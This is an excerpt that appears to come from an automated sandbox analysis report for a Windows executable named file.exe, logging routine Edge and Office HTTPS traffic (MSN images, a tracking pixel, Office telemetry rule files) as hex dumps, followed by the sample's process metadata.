2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-25 04:46:58 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-25 04:46:59 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-25 04:46:59 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49945	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:57 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:58 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=61990 Expires: Mon, 25 Nov 2024 22:00:08 GMT Date: Mon, 25 Nov 2024 04:46:58 GMT Connection: close
2024-11-25 04:46:58 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 53 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=S
2024-11-25 04:46:58 UTC	1967	IN	Data Raw: e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b af Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-25 04:46:58 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-25 04:46:58 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49943	20.110.205.119	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:58 UTC	1279	OUT	GET /c.gif?rnd=1732510010755&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=30516179784a442f849e382ceb949bec&activityId=30516179784a442f849e382ceb949bec&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=ED96FB6555544A40B38C59F77052B804&MUID=3C5B860E698662B2092E934C680C6309 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-25 04:46:58 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3C5B860E698662B2092E934C680C6309; domain=.msn.com; expires=Sat, 20-Dec-2025 04:46:58 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3C5B860E698662B2092E934C680C6309; domain=c.msn.com; expires=Sat, 20-Dec-2025 04:46:58 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 02-Dec-2024 04:46:58 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 04:56:58 GMT; path=/; SameSite=None; Secure; Date: Mon, 25 Nov 2024 04:46:58 GMT Connection: close Content-Length: 42
2024-11-25 04:46:58 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:58 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:59 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:58 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0f420ed5-901e-007b-77d0-3eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044658Z-15b8b599d889gj5whC1TEBfyk0000000057000000000fsfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:59 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:58 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:58 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044658Z-174c587ffdfb485jhC1TEBmc1s00000005cg0000000007h7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Target ID:	0
Start time:	23:46:12
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa00000
File size:	1'827'328 bytes
MD5 hash:	B1992AF747FC52CB2B427FEF697392F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
